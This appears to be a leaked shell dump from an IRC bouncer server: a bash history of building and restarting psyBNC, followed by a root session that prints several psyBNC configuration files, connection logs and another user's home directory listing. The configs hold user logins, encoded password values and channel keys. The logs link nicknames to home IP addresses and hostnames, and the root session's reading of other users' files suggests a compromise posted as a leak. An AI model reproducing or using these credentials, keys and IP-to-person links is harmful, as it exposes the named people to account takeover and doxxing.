psybnc.log cat psybnc.log cat psybnc.log cd .. ls nano psybnc.conf nano psybnc.conf cd log cat log cat psybnc.log cat psybnc.log cat psybnc.log cd .. ls cd .. ls ps -aux kill 4414 ps -aux kill 4414 ps -aux ls rm -rf psybnc ps -aux kill 4414 ps -aux tar -zxvf psyBNC-2.3.2-7.tar.gz ls cd psybnc ls make menuconfig ls make ls ./psybnc nano psybnc.conf ps -aux ps -aux ls rm -rf psybnc.pid kill 1463 ps -aux ls kill 1463 ls ps -aux ./psybnc restart ./psybnc psybnc.conf ps -aux kill 1463 ps -aux ls killall 1463 kill 1463 killall psybnc ps -aux kill -9 1463 ps -aux ./psybnc ps -aux kill -9 2455 ps -aux nano psybnc.conf nano psybnc.conf ./psybnc cd log nano log ls cat psybnc.log cd .. ls nano psybnc.conf cd .. ls rm -rf psybnc tar zxvf psyBNC-2.3.2-7.tar.gz ps -aux kill -9 2558 cd psybnc ls make ps -aux nano psybnc.conf nano psybnc.conf ./psybnc cd psybnc nano psybnc.conf cp psybnc.conf psybnc.1.conf ls cd psybnc ls cp psybnc.conf psybnc.1.conf nano psybnc.1.conf nano psybnc.1.conf nano psybnc.1.conf echo "" > psybnc.1.conf nano psybnc.1.conf ./psybnc psybnc.1.conf cd psybnc ls nano psybncchk crontab -e crontab -e crontab -e pwd crontab -e nano psybncchk nano psybncchk nano psybncchk ps -aux ps -aux cd psybnc cd log ls cat psybnc.log cat psybnc.log ls cat USER1.TRL cat USER2.TRL cat USER3.LOG cd .. ls cat psybnc.conf cd log cat psybnc.log ls cd .. ls nano psybnc.conf nano psybnc.conf nano psybnc.1.conf nano psybnc.conf cd tools ls cd .. ls cd key ls cd .. ls nano psybnc.1.conf cd log ls cat psybnc.log cd .. ls ps -aux kill -9 3514 ps -aux ./psybnc psybnc.conf ls cd psybnc ls nano psybnc.1.conf nano psybnc.1.conf grep -rn 'version' * ps -aux nano psybnc.1.conf nano psybnc.conf nano psybnc.1.conf nano psybnc.1.conf nano psybnc.1.conf nano psybnc.1.conf exit crontab crontab -h crontab -l ls cd psybnc ls cp psybnc.1.conf psybnc.gso.conf nano psybnc.gso.conf nano psybnc.conf nano psybnc.conf nano psybnc.gso.conf ./psybnc psybnc.gso.conf ls cd psybnc ls cat psybnc.conf cd psybnc/ ls nano psybnc.gso.conf nano psybnc.conf ls w who users ls psybnc ls domains ls public_html/ ps -aux uptime uname -a ls cd psybnc/ ls mkdir probebnc ls cd probebnc ls ls wget http://psybnc.info/download/psyBNC-2.3.2-7.tar.gz tar -zxvf psyBNC-2.3.2-7.tar.gz ls cd psybnc/ ls ./install ./setup ls menuconf/ ls cd $user ls cd psybnc ls rm -rf probebnc/ ps -aux mkdir probe ls cd probe ls wget http://www.psybnc.at/download/beta/psyBNC-2.3.2-7.tar.gz tar -zxvf psyBNC-2.3.2-7.tar.gz ls cd psybnc/ ls ./install ./setup ./psybncchk cd $user ls cd psybnc/ ls rm -rf probe ls mkdir probe cd probe ls wget http://www.psybnc.at/download/beta/psyBNC-2.3.2-7.tar.gz tar -xzvf psyBNC2.3.1.tar.gz ls tar -xzvf psyBNC-2.3.2-7.tar.gz ls cd psybnc/ ls nano config.h make menuconfig make make menuconf make menuconfig ls nano psybnc.conf rm * ls rm -rf * wget http://www.psybnc.at/download/beta/psyBNC-2.3.2-7.tar.gz ls cd $user ls cd psybnc/ ls cd probe/ ls rm -rf psybnc/ ls tar -xzvf psyBNC-2.3.2-7.tar.gz ls cd psybnc/ ls nano config.h make menuconfig make ls cd $user/psybnc/probe cd $user ls cd psybnc/ ls cd probe/ ls rm -rf psybnc/ tar -xzvf psyBNC-2.3.2-7.tar.gz ls cd psybnc/ ls make menuconfig make ls ./psybnc cd ps ax kill -9 9128 12320 24226 28825 cd psybnc ps ax ./psybnc psybnc.1.conf ./psybnc ./psybnc psybnc.gso.conf cd ls exit ls cd psybnc ls head psybnc.1.conf head psybnc.gso.conf ./psybnc psybnc.gso.conf ps -aiux ps -aux ps -aux kill 21054 kill -9 21054 ./psybnc psybnc.gso.conf ls cd psy cd psybnc/ ls cd probe/ ls cd psybnc/ ls ./psybnc ps -aux ls nano psybnc.conf nano psybnc.conf nano psybnc.conf.old nano config.h nano psybnc.conf nano log/psybnc.log cd $user ls cd psybnc/ ls cd probe ls rm -rf psybnc/ tar xzf psyBNC-2.3.2-7.tar.gz ls cd psy cd psybnc ls ./psybncchk nano config.h ls nano REa nano README make menuconfig make ls ./psybnc ps ax kill 1536 ls ps ax kill 9672 ps ax kill 9672 ps axc ps ax ls ./psybnc psybnc.gso.conf ps ax kill 1536 ps ax kill -s 1536 kill -9 9672 ps ax kill -9 1536 ps ax ls ./psybnc psybnc.gso.conf ps ax ps ax kill -9 21041 ps ax kill -9 21047 ps ax kill -9 24942 ps ax ls ./psybnc psybnc.1.conf ps ax ls ./psybnc psybnc.gso.conf ps ax kill -9 ./psybnc psybnc.1.conf kill -9 25484 kill -9 25512 ps ax ls ./psybnc cd help ls cd .. ls ps ax ./psybnc psybnc.1.conf ./psybnc ./psybnc psybnc.gso.conf ps ax ls cd psybnc ls head psybnc.conf head psybnc.1.conf ls cat psybnc.gso.conf head psybnc.gso.conf psybnc psybnc.gso.conf ls ./psybnc psybnc.gso.conf ls cd psybnc ls head psybnc.gso.con head psybnc.gso.conf psybnc psybnc.gso.conf ./psybnc psybnc.gso.conf ls cd psybnc ls head psybnc.gso.conf psybnc psybnc.gso.conf ./psybnc psybnc.gso.conf ps -aux kill -9 17551 ps -aux ./psybnc psybnc.gso.conf ps -aux ps -aux who last ps -aux head psybnc.gso.conf cd psybnc head psybnc.gso.conf ls head psybnc.conf netstat | grep listen netstat kill -9 31328 ./psybnc psybnc.gso.conf ls cd psybnc ls cat psybnc.gso.conf ls cd psybnc/ ls cat psybnc.gso.conf [root@demon2 bnc]# cd psybnc [root@demon2 psybnc]# ls CHANGES log psybnc psybnc.gso.conf.old targets.mak config.h Makefile psybnc.1.conf psybnc.pid TODO COPYING makefile.out psybnc.1.conf.old README tools FAQ makesalt psybncchk salt.h help menuconf psybnc.conf SCRIPTING key motd psybnc.conf.old scripts lang probe psybnc.gso.conf src [root@demon2 psybnc]# cat psybnc.1.conf PSYBNC.SYSTEM.PORT1=11474 PSYBNC.SYSTEM.HOST1=72.20.26.209 PSYBNC.HOSTALLOWS.ENTRY0=*;* USER1.USER.LOGIN=admin USER1.USER.USER=FiSh USER1.USER.PASS==1h1K'Z`U`B'810'='T USER1.USER.RIGHTS=1 USER1.USER.VLINK=0 USER1.USER.PPORT=0 USER1.USER.PARENT=0 USER1.USER.QUITTED=0 USER1.USER.DCCENABLED=1 USER1.USER.AUTOGETDCC=0 USER1.USER.AIDLE=0 USER1.USER.LEAVEQUIT=0 USER1.USER.AUTOREJOIN=1 USER1.USER.SYSMSG=1 USER1.USER.LASTLOG=0 USER1.USER.CERT=+ USER1.USER.VHOST=g00ns.net USER1.USER.LEAVEMSG=afk USER1.USER.AWAYNICK=FiSh|bnc USER1.USER.NICK=FiSh USER1.SERVERS.SERVER1=S=irc.g00ns.net USER1.SERVERS.PORT1=6601 USER1.CHANNELS.ENTRY3=#13337 USER1.CHANNELS.ENTRY6=#help USER1.CHANNELS.ENTRY8=#notgay USER1.CHANNELS.ENTRY1=#g00nspriv8 USER1.CHANNELS.ENTRY4=#batcave USER1.CHANNELS.KEY4=+1I271$28262u2A2U2U USER1.CHANNELS.ENTRY7=#exploitercode USER1.CHANNELS.ENTRY12=#s3x USER1.CHANNELS.KEY12=+1W202824 USER1.CHANNELS.ENTRY5=#g00ns USER1.CHANNELS.ENTRY0=#illmob USER1.CHANNELS.ENTRY2=#private USER1.CHANNELS.KEY2=+1N2h262e2b2o2F2&2U3a2d2D2A USER1.CHANNELS.ENTRY9=#exopers USER1.CHANNELS.ENTRY10=#irclogs USER1.CHANNELS.KEY1=+1G2i2c2j2j2p2@ USER2.USER.LOGIN=sCuZz USER2.USER.USER=sCuZz USER2.USER.PASS=='R1n1b`W1B031K`=`O USER2.USER.RIGHTS=0 USER2.USER.VLINK=0 USER2.USER.PPORT=0 USER2.USER.PARENT=0 USER2.USER.QUITTED=0 USER2.USER.DCCENABLED=1 USER2.USER.AUTOGETDCC=0 USER2.USER.AIDLE=0 USER2.USER.LEAVEQUIT=0 USER2.USER.AUTOREJOIN=1 USER2.USER.SYSMSG=1 USER2.USER.LASTLOG=0 USER2.USER.CERT=+ USER2.USER.VHOST=g00ns.net USER2.USER.NICK=sCuZz USER2.SERVERS.SERVER1=irc.g00ns.net USER2.SERVERS.PORT1=6667 USER2.CHANNELS.ENTRY2=#private USER2.CHANNELS.KEY2=+1N2h262e2b2o2F2&2U3a2d2D2A USER2.CHANNELS.ENTRY1=#batcave USER2.CHANNELS.KEY1=+1I271$28262u2A2U2U USER2.CHANNELS.ENTRY0=#g00ns USER3.USER.LOGIN=giovanni USER3.USER.USER=katalyst USER3.USER.PASS=='E13`h0v0V`H1u0A'f USER3.USER.RIGHTS=0 USER3.USER.VLINK=0 USER3.USER.PPORT=0 USER3.USER.PARENT=0 USER3.USER.QUITTED=0 USER3.USER.DCCENABLED=1 USER3.USER.AUTOGETDCC=0 USER3.USER.AIDLE=0 USER3.USER.LEAVEQUIT=0 USER3.USER.AUTOREJOIN=1 USER3.USER.SYSMSG=1 USER3.USER.LASTLOG=0 USER3.USER.CERT=+ USER3.USER.VHOST=g00ns.net USER3.USER.NICK=giovanni USER3.SERVERS.SERVER1=S=irc.g00ns.net USER3.SERVERS.PORT1=6601 USER3.CHANNELS.ENTRY3=#seminar USER3.CHANNELS.ENTRY0=#g00ns USER3.CHANNELS.ENTRY1=#illmob USER3.CHANNELS.ENTRY4=#13337 USER1.LGI.ENTRY1=FiSh;#private USER1.LGI.ENTRY0=FiSh;#g00ns USER4.USER.LOGIN=sick USER4.USER.USER=sick USER4.USER.PASS=='t'L0Q'F'q'b16'o`a USER4.USER.RIGHTS=0 USER4.USER.VLINK=0 USER4.USER.PPORT=0 USER4.USER.PARENT=0 USER4.USER.QUITTED=0 USER4.USER.DCCENABLED=1 USER4.USER.AUTOGETDCC=0 USER4.USER.AIDLE=0 USER4.USER.LEAVEQUIT=0 USER4.USER.AUTOREJOIN=1 USER4.USER.SYSMSG=1 USER4.USER.LASTLOG=0 USER4.USER.CERT=+ USER4.USER.VHOST=g00ns.net USER4.USER.NICK=sick USER4.SERVERS.SERVER1=addserver s=irc.g00ns.net USER4.SERVERS.PORT2=6661 USER4.SERVERS.SERVER2=addserver irc.g00ns.net USER4.SERVERS.PORT3=6601 USER4.SERVERS.SERVER3=addserver addserver S=irc.g00ns.net USER4.SERVERS.PORT4=6601 USER4.SERVERS.SERVER4=addserver S=irc.g00ns.net USER4.SERVERS.PORT5=6601 USER4.SERVERS.SERVER5=s=irc.g00ns.net USER4.SERVERS.PORT6=6601 USER4.SERVERS.SERVER6=s=irc.g00ns.net USER4.SERVERS.PORT1=6601 [root@demon2 psybnc]# cat psybnc.conf PSYBNC.SYSTEM.PORT1=11473 PSYBNC.SYSTEM.HOST1=72.20.26.209 PSYBNC.HOSTALLOWS.ENTRY0=*;* USER1.USER.LOGIN=admin USER1.USER.USER=FiSh USER1.USER.PASS==1h1K'Z`U`B'810'='T USER1.USER.RIGHTS=1 USER1.USER.VLINK=0 USER1.USER.PPORT=0 USER1.USER.PARENT=0 USER1.USER.QUITTED=1 USER1.USER.DCCENABLED=1 USER1.USER.AUTOGETDCC=0 USER1.USER.AIDLE=0 USER1.USER.LEAVEQUIT=0 USER1.USER.AUTOREJOIN=1 USER1.USER.SYSMSG=1 USER1.USER.LASTLOG=0 USER1.USER.CERT=+ USER1.USER.VHOST=72.20.26.209 USER1.USER.NICK=_FiSh USER2.USER.LOGIN=FiSh USER2.USER.USER=FiSh USER2.USER.PASS==0v0'01'T'q0='l`O'f USER2.USER.RIGHTS=0 USER2.USER.VLINK=0 USER2.USER.PPORT=0 USER2.USER.PARENT=0 USER2.USER.QUITTED=0 USER2.USER.DCCENABLED=1 USER2.USER.AUTOGETDCC=0 USER2.USER.AIDLE=0 USER2.USER.LEAVEQUIT=0 USER2.USER.AUTOREJOIN=1 USER2.USER.SYSMSG=1 USER2.USER.LASTLOG=0 USER2.USER.CERT=+ USER2.USER.NICK=FiSh USER3.USER.LOGIN=pr0be USER3.USER.USER=pr0be USER3.USER.PASS==1G0$0u10`N`C0B`X'` USER3.USER.RIGHTS=0 USER3.USER.VLINK=0 USER3.USER.PPORT=0 USER3.USER.PARENT=0 USER3.USER.QUITTED=0 USER3.USER.DCCENABLED=1 USER3.USER.AUTOGETDCC=0 USER3.USER.AIDLE=0 USER3.USER.LEAVEQUIT=0 USER3.USER.AUTOREJOIN=1 USER3.USER.SYSMSG=1 USER3.USER.LASTLOG=0 USER3.USER.CERT=+ USER3.USER.VHOST=g00ns.net USER3.USER.AWAY=|a|f|k USER3.USER.NICK=pr0be USER3.SERVERS.SERVER1=irc.g00ns.net USER3.SERVERS.PORT2=6667 USER3.SERVERS.SERVER2=irc.g00ns.net USER3.SERVERS.PORT3=6601 USER3.SERVERS.SERVER3=S=irc.g00ns.net USER3.SERVERS.PORT1=6667 USER1.SERVERS.SERVER1=S=irc.g00ns.net USER1.SERVERS.PORT1=6601 USER1.CHANNELS.ENTRY1=#g00ns USER1.CHANNELS.ENTRY2=#13337 USER1.CHANNELS.ENTRY3=#40z USER1.CHANNELS.KEY3=+1H2i262j2c2s2R2Y USER1.CHANNELS.ENTRY4=#private USER1.CHANNELS.KEY4=+1H2i25202i2j2A2M2E3125 USER1.CHANNELS.ENTRY5=#seminar USER1.CHANNELS.ENTRY7=#help USER4.USER.LOGIN=SyNiCaL USER4.USER.USER=SyNiCaL USER4.USER.PASS==0G'11d`h1G121n0G`' USER4.USER.RIGHTS=0 USER4.USER.VLINK=0 USER4.USER.PPORT=0 USER4.USER.PARENT=0 USER4.USER.QUITTED=0 USER4.USER.DCCENABLED=1 USER4.USER.AUTOGETDCC=0 USER4.USER.AIDLE=0 USER4.USER.LEAVEQUIT=0 USER4.USER.AUTOREJOIN=1 USER4.USER.SYSMSG=1 USER4.USER.LASTLOG=0 USER4.USER.CERT=+ USER4.USER.VHOST=g00ns.net USER4.USER.NICK=SyNiCaL USER3.CHANNELS.ENTRY2=#40z USER3.CHANNELS.KEY2=+1H2i262j2c2s2R2Y USER3.CHANNELS.ENTRY5=#wboard USER3.CHANNELS.ENTRY7=#exploitercode USER3.CHANNELS.ENTRY3=#vBTEAM USER3.CHANNELS.ENTRY6=#BlackIRC USER3.CHANNELS.ENTRY8=#slavehack USER4.SERVERS.SERVER1=irc.g00ns.net USER4.SERVERS.PORT1=6667 USER4.CHANNELS.ENTRY3=#sizzurp USER4.CHANNELS.ENTRY4=#13337 [root@demon2 psybnc]# cat psybnc.gso.conf PSYBNC.SYSTEM.PORT1=11475 PSYBNC.SYSTEM.HOST1=72.20.26.209 PSYBNC.HOSTALLOWS.ENTRY0=*;* USER1.USER.LOGIN=admin USER1.USER.USER=Genocide USER1.USER.PASS==1h1K'Z`U`B'810'='T USER1.USER.RIGHTS=1 USER1.USER.VLINK=0 USER1.USER.PPORT=0 USER1.USER.PARENT=0 USER1.USER.QUITTED=0 USER1.USER.DCCENABLED=1 USER1.USER.AUTOGETDCC=0 USER1.USER.AIDLE=0 USER1.USER.LEAVEQUIT=0 USER1.USER.AUTOREJOIN=1 USER1.USER.SYSMSG=1 USER1.USER.LASTLOG=0 USER1.USER.CERT=+ USER1.USER.VHOST=72.20.26.209 USER1.USER.LEAVEMSG=afk USER1.USER.NICK=Genocide USER1.SERVERS.PORT2=6667 USER1.SERVERS.PORT1=7001 USER1.SERVERS.SERVER1=S=irc.evilcoders.net USER1.SERVERS.SERVER2=irc.g00ns.net USER2.USER.LOGIN=sCuZz USER2.USER.USER=sCuZz USER2.USER.PASS=='q0N1q070I`I`O'W'y USER2.USER.RIGHTS=0 USER2.USER.VLINK=0 USER2.USER.PPORT=0 USER2.USER.PARENT=0 USER2.USER.QUITTED=0 USER2.USER.DCCENABLED=1 USER2.USER.AUTOGETDCC=0 USER2.USER.AIDLE=0 USER2.USER.LEAVEQUIT=0 USER2.USER.AUTOREJOIN=1 USER2.USER.SYSMSG=1 USER2.USER.LASTLOG=0 USER2.USER.CERT=+ USER2.USER.VHOST=g00ns.net USER2.USER.NICK=sCuZz USER1.CHANNELS.ENTRY1=#s3x USER1.CHANNELS.KEY1=+1W202824 USER1.CHANNELS.ENTRY3=#batcave USER1.CHANNELS.KEY3=+1I271$28262u2A2U2U USER1.CHANNELS.ENTRY7=#exopers USER1.CHANNELS.ENTRY4=#notgay USER1.CHANNELS.ENTRY9=#illmob USER1.CHANNELS.KEY9=+1e2a1X2f2f2l1P2y2R USER1.CHANNELS.ENTRY11=#t3st USER1.CHANNELS.ENTRY10=#hightechhost USER1.CHANNELS.ENTRY6=#420 USER1.CHANNELS.ENTRY2=#spk USER1.CHANNELS.ENTRY0=#g00ns USER2.SERVERS.SERVER1=irc.partyvan.fm USER2.SERVERS.PORT1=6667 USER2.CHANNELS.ENTRY1=#420 USER2.CHANNELS.ENTRY2=#private USER2.CHANNELS.KEY2=+1S282026242B2U2Q2F362@3B USER2.CHANNELS.ENTRY3=#batcave USER2.CHANNELS.ENTRY0=#g00ns [root@demon2 psybnc]# cd log [root@demon2 log]# ls INFO USER1.LOG.old USER2.LOG.old USER3.TRL USER4.TRL psybnc.log USER1.TRL USER2.TRL USER4.LOG USER5.TRL psybnc.log.old USER2.LOG USER3.LOG.old USER4.LOG.old USER6.TRL [root@demon2 log]# cat psybnc.log Sat Apr 19 15:06:18 :Listener created :72.20.26.209 port 11475 Sat Apr 19 15:06:18 :psyBNC2.3.2-7-cBtITLdDMSNpE started (PID :14297) Sat Apr 19 15:06:18 :SSL initialized Sat Apr 19 15:06:18 :Loading all Users.. Sat Apr 19 15:06:23 :connect from 78.129.174.155 Sat Apr 19 15:06:23 :User admin () trying irc.evilcoders.net port 7001 (72.20.26.209). Sat Apr 19 15:06:23 :User admin () connected to S=irc.evilcoders.net:7001 (72.20.26.209) Sat Apr 19 15:06:23 :User admin got disconnected from server. Sat Apr 19 15:06:31 :User admin logged in. Sat Apr 19 15:06:38 :User sCuZz () trying irc.partyvan.fm port 6667 (g00ns.net). Sat Apr 19 15:06:38 :User sCuZz () connected to irc.partyvan.fm:6667 (g00ns.net) Sat Apr 19 15:06:53 :User admin () trying irc.g00ns.net port 6667 (72.20.26.209). Sat Apr 19 15:06:53 :User admin () connected to irc.g00ns.net:6667 (72.20.26.209) Sat Apr 19 15:43:14 :connect from pool-71-105-242-232.lsanca.dsl-w.verizon.net Sat Apr 19 15:43:14 :User sCuZz logged in. Sat Apr 19 18:09:32 :User sCuZz disconnected (from 71.105.242.232) Sat Apr 19 20:31:32 :connect from pool-71-105-242-232.lsanca.dsl-w.verizon.net Sat Apr 19 20:31:32 :User sCuZz logged in. Sat Apr 19 20:47:24 :User sCuZz disconnected (from 71.105.242.232) Sun Apr 20 00:20:44 :User admin quitted (from 78.129.174.155) Sun Apr 20 08:58:52 :connect from prometheus.aakretech.no Sun Apr 20 08:59:25 :User admin logged in. Sun Apr 20 11:27:16 :connect from pool-71-105-242-232.lsanca.dsl-w.verizon.net Sun Apr 20 11:27:16 :User sCuZz logged in. Sun Apr 20 11:57:48 :User sCuZz disconnected (from 71.105.242.232) Sun Apr 20 19:12:31 :User admin disconnected (from 69.60.116.169) Sun Apr 20 21:42:46 :connect from pool-71-105-242-232.lsanca.dsl-w.verizon.net Sun Apr 20 21:42:46 :User sCuZz logged in. Sun Apr 20 23:21:59 :connect from pool-71-105-242-232.lsanca.dsl-w.verizon.net Sun Apr 20 23:21:59 :User sCuZz logged in. Sun Apr 20 23:24:04 :User sCuZz (sCuZz) disconnecting from stoned server. Sun Apr 20 23:24:04 :User sCuZz got disconnected from server. Sun Apr 20 23:24:15 :User sCuZz () trying p.60z.org port 6667 (g00ns.net). Sun Apr 20 23:24:15 :User sCuZz () connected to p.60z.org:6667 (g00ns.net) Sun Apr 20 23:24:29 :User sCuZz quitted (from 71.105.242.232) Sun Apr 20 23:24:30 :connect from pool-71-105-242-232.lsanca.dsl-w.verizon.net Sun Apr 20 23:24:30 :User sCuZz logged in. Sun Apr 20 23:25:11 :Hop requested by sCuZz. Quitting. Sun Apr 20 23:25:11 :User sCuZz got disconnected from server. Sun Apr 20 23:25:15 :User sCuZz () trying irc.partyvan.fm port 6667 (g00ns.net). Sun Apr 20 23:25:15 :User sCuZz () connected to irc.partyvan.fm:6667 (g00ns.net) Sun Apr 20 23:25:20 :User sCuZz quitted (from 71.105.242.232) Sun Apr 20 23:25:21 :connect from pool-71-105-242-232.lsanca.dsl-w.verizon.net Sun Apr 20 23:25:21 :User sCuZz logged in. Sun Apr 20 23:33:04 :User sCuZz quitted (from 71.105.242.232) Sun Apr 20 23:41:01 :User sCuZz disconnected (from 71.105.242.232) Mon Apr 21 10:40:13 :connect from prometheus.aakretech.no Mon Apr 21 10:40:35 :User admin logged in. [root@demon2 log]# cd ../.. [root@demon2 bnc]# cd psybnc/probe/ [root@demon2 probe]# ls -al total 324 drwxrwxr-x 3 bnc bnc 4096 Sep 23 2007 . drwxr-xr-x 12 bnc bnc 4096 Apr 20 23:41 .. drwxr-xr-x 11 bnc bnc 4096 Nov 15 18:37 psybnc -rw-rw-r-- 1 bnc bnc 312177 Aug 19 2005 psyBNC-2.3.2-7.tar.gz [root@demon2 probe]# cd psybnc [root@demon2 psybnc]# ls CHANGES help Makefile motd psybnc.conf.old SCRIPTING TODO config.h key makefile.out psybnc psybnc.pid scripts tools COPYING lang makesalt psybncchk README src FAQ log menuconf psybnc.conf salt.h targets.mak [root@demon2 psybnc]# cat psybnc.conf PSYBNC.SYSTEM.PORT1=31337 PSYBNC.SYSTEM.ME=probe PSYBNC.SYSTEM.HOST1=* PSYBNC.HOSTALLOWS.ENTRY0=*;* USER1.USER.NICK=pr0be`bnc USER1.USER.USER=pr0be USER1.USER.PASS==0a'6`c0x1C0P'n`N0@`p1I0M1a0F1916 USER1.USER.VHOST=g00ns.net USER1.USER.RIGHTS=1 USER1.USER.VLINK=0 USER1.USER.AWAY=afk USER1.USER.AWAYNICK=pr0be`bnc USER1.USER.LOGIN=pr0be USER1.SERVERS.SERVER1=irc.g00ns.net USER1.SERVERS.PORT1=6667 USER1.CHANNELS.ENTRY1=#private USER1.CHANNELS.KEY1=+1L1S2'2o2j2m2i2V353a2k2e2s USER1.CHANNELS.ENTRY3=#exploitercode USER1.CHANNELS.ENTRY5=#13337 USER1.CHANNELS.ENTRY6=#seminar USER1.CHANNELS.ENTRY7=#BlackIRC USER1.CHANNELS.ENTRY8=#Help USER1.CHANNELS.ENTRY9=#batcave USER1.CHANNELS.KEY9=+1G1I1T2i2e2s2d2M35 USER1.CHANNELS.ENTRY10=#20z USER1.CHANNELS.ENTRY11=#HACK-RADIO USER1.CHANNELS.ENTRY12=#officiallyretarded USER1.CHANNELS.ENTRY13=#qrash USER1.CHANNELS.ENTRY14=#seminar-private USER1.CHANNELS.ENTRY15=#g00ns-radio USER1.CHANNELS.ENTRY4=#illmob USER1.CHANNELS.ENTRY2=#g00ns USER1.CHANNELS.ENTRY16=#irclogs USER1.CHANNELS.ENTRY0=#exopers USER2.USER.LOGIN=probe USER2.USER.USER=probe USER2.USER.PASS==1L'S`v`50A1l'b0y17 USER2.USER.RIGHTS=0 USER2.USER.VLINK=0 USER2.USER.PPORT=0 USER2.USER.PARENT=0 USER2.USER.QUITTED=0 USER2.USER.DCCENABLED=1 USER2.USER.AUTOGETDCC=0 USER2.USER.AIDLE=0 USER2.USER.LEAVEQUIT=0 USER2.USER.AUTOREJOIN=1 USER2.USER.SYSMSG=1 USER2.USER.LASTLOG=0 USER2.USER.CERT=+ USER2.USER.NICK=probe [root@demon2 psybnc]# cd log [root@demon2 log]# ls INFO psybnc.log USER1.LOG USER1.TRL USER2.TRL [root@demon2 log]# head psybnc.log Sun Sep 23 21:11:08 :Listener created :0.0.0.0 port 31337 Sun Sep 23 21:11:08 :Can't create listening sock on host * port 31337 (bind) Sun Sep 23 21:11:08 :SSL initialized Sun Sep 23 21:11:08 :Loading all Users.. Sun Sep 23 21:11:08 :psyBNC2.3.2-7-cBtITLdDMSNpE started (PID :9672) Sun Sep 23 21:11:13 :User pr0be () has no server added Sun Sep 23 21:12:43 :User pr0be () has no server added Sun Sep 23 21:14:13 :User pr0be () has no server added Sun Sep 23 21:14:15 :connect from fl-71-3-132-100.dhcp.embarqhsd.net Sun Sep 23 21:14:18 :User pr0be logged in. [root@demon2 log]# cd /home [root@demon2 home]# cd egg [root@demon2 egg]# ls -al total 1076 drwx--x--x 10 egg egg 4096 Mar 23 11:26 . drwx--x--x 50 root root 4096 Mar 27 16:19 .. -rw------- 1 egg egg 6532 Apr 14 23:11 .bash_history -rw-r--r-- 1 egg egg 24 Aug 9 2007 .bash_logout -rw-r--r-- 1 egg egg 176 Aug 9 2007 .bash_profile -rw-r--r-- 1 egg egg 124 Aug 9 2007 .bashrc drwx--x--x 3 egg egg 4096 Aug 9 2007 domains drwxrwxr-x 3 egg egg 4096 Apr 14 23:10 efnet drwx------ 11 egg egg 4096 Apr 21 14:00 eggdrop drwxr-xr-x 10 egg egg 4096 Aug 13 2007 eggdrop1.6.18 -rw-rw-r-- 1 egg egg 1025608 Aug 13 2007 eggdrop1.6.18.tar.gz drwx------ 2 egg egg 4096 Aug 21 2007 .elinks drwxrwx--- 3 egg mail 4096 Aug 9 2007 imap drwx------ 2 egg egg 4096 Aug 9 2007 mail lrwxrwxrwx 1 egg egg 35 Aug 9 2007 public_html -> ./domains/egg.g00ns.net/public_html -rw-r----- 1 egg mail 34 Aug 9 2007 .shadow drwx------ 2 egg egg 4096 Aug 12 2007 .ssh [root@demon2 egg]# ls -al efnet/ total 1508 drwxrwxr-x 3 egg egg 4096 Apr 14 23:10 . drwx--x--x 10 egg egg 4096 Mar 23 11:26 .. drwx------ 2 egg egg 4096 Mar 23 11:30 ... -rwx------ 1 egg egg 1497940 Mar 23 12:35 fight -rw-r--r-- 1 egg egg 6 Apr 14 23:10 .pid.bloo -rw-r--r-- 1 egg egg 6 Apr 14 23:10 .pid.etho -rw-r--r-- 1 egg egg 6 Apr 14 23:10 .pid.hacker -rw-r--r-- 1 egg egg 6 Apr 14 23:10 .pid.hthbot -rw-r--r-- 1 egg egg 5 Mar 23 11:51 .pid.hthbot. -rw-r--r-- 1 egg egg 6 Apr 14 23:10 .pid.logic -rw-r--r-- 1 egg egg 6 Apr 14 23:10 .pid.notgay [root@demon2 egg]# ls -al eggdrop total 1260 drwx------ 11 egg egg 4096 Apr 21 14:00 . drwx--x--x 10 egg egg 4096 Mar 23 11:26 .. -rwxrw-r-- 1 egg egg 2277 Mar 23 00:31 boneless.botchk -rw------- 1 egg egg 1264 Apr 21 14:00 boneless.chan -rw------- 1 egg egg 1264 Apr 21 00:00 boneless.chan~bak -rw-r--r-- 1 egg egg 52983 Mar 23 11:36 boneless.conf -rw------- 1 egg egg 1183 Apr 21 14:00 boneless.user -rw------- 1 egg egg 1183 Apr 21 00:00 boneless.user~bak drwxrwxr-x 5 egg egg 4096 Aug 13 2007 doc lrwxrwxrwx 1 egg egg 14 Aug 13 2007 eggdrop -> eggdrop-1.6.18 -rwxr-xr-x 1 egg egg 888159 Aug 13 2007 eggdrop-1.6.18 drwxrwxr-x 3 egg egg 4096 Aug 13 2007 filesys drwxrwxr-x 4 egg egg 4096 Aug 13 2007 help -rwxrw-r-- 1 egg egg 2272 Mar 23 00:31 keebler.botchk -rw------- 1 egg egg 1263 Apr 21 14:00 keebler.chan -rw------- 1 egg egg 1263 Apr 21 00:00 keebler.chan~bak -rw-r--r-- 1 egg egg 52956 Mar 23 11:32 keebler.conf -rw------- 1 egg egg 1305 Apr 21 14:00 keebler.user -rw------- 1 egg egg 1305 Apr 21 00:00 keebler.user~bak drwxrwxr-x 2 egg egg 4096 Aug 13 2007 language drwxrwxr-x 2 egg egg 4096 Apr 21 03:05 logs lrwxrwxrwx 1 egg egg 14 Aug 13 2007 modules -> modules-1.6.18 drwxrwxr-x 2 egg egg 4096 Aug 13 2007 modules-1.6.18 drwx------ 3 egg egg 4096 Aug 19 2007 netbots -rw-r--r-- 1 egg egg 6 Apr 14 23:10 pid.boneless -rw-r--r-- 1 egg egg 6 Apr 14 23:10 pid.keebler -rw-r--r-- 1 egg egg 6 Apr 14 23:10 pid.sentry -rw-rw-r-- 1 egg egg 6 Apr 14 23:09 pid.V0LTR0N -rw-r--r-- 1 egg egg 25077 Aug 13 2007 README drwxrwxr-x 2 egg egg 4096 Mar 23 00:31 scripts -rwxrw-r-- 1 egg egg 2267 Mar 23 00:31 sentry.botchk -rw------- 1 egg egg 1257 Apr 21 13:59 sentry.chan -rw------- 1 egg egg 1257 Apr 21 00:00 sentry.chan~bak -rw-r--r-- 1 egg egg 52950 Mar 23 00:03 sentry.conf -rw------- 1 egg egg 1327 Apr 21 13:59 sentry.user -rw------- 1 egg egg 1327 Apr 21 00:00 sentry.user~bak drwxrwxr-x 2 egg egg 4096 Aug 13 2007 text -rw------- 1 egg egg 1415 Apr 21 14:00 v0ltr0n.chan -rw------- 1 egg egg 1415 Apr 21 00:00 v0ltr0n.chan~bak -rw-r--r-- 1 egg egg 52890 Apr 14 23:09 v0ltr0n.conf -rw------- 1 egg egg 0 Apr 21 14:00 v0ltr0n.notes -rw------- 1 egg egg 1273 Apr 21 14:00 v0ltr0n.user -rw------- 1 egg egg 1273 Apr 21 00:00 v0ltr0n.user~bak [root@demon2 egg]# grep -v "^#" eggdrop/v0ltr0n.conf | grep -v ^$ set username 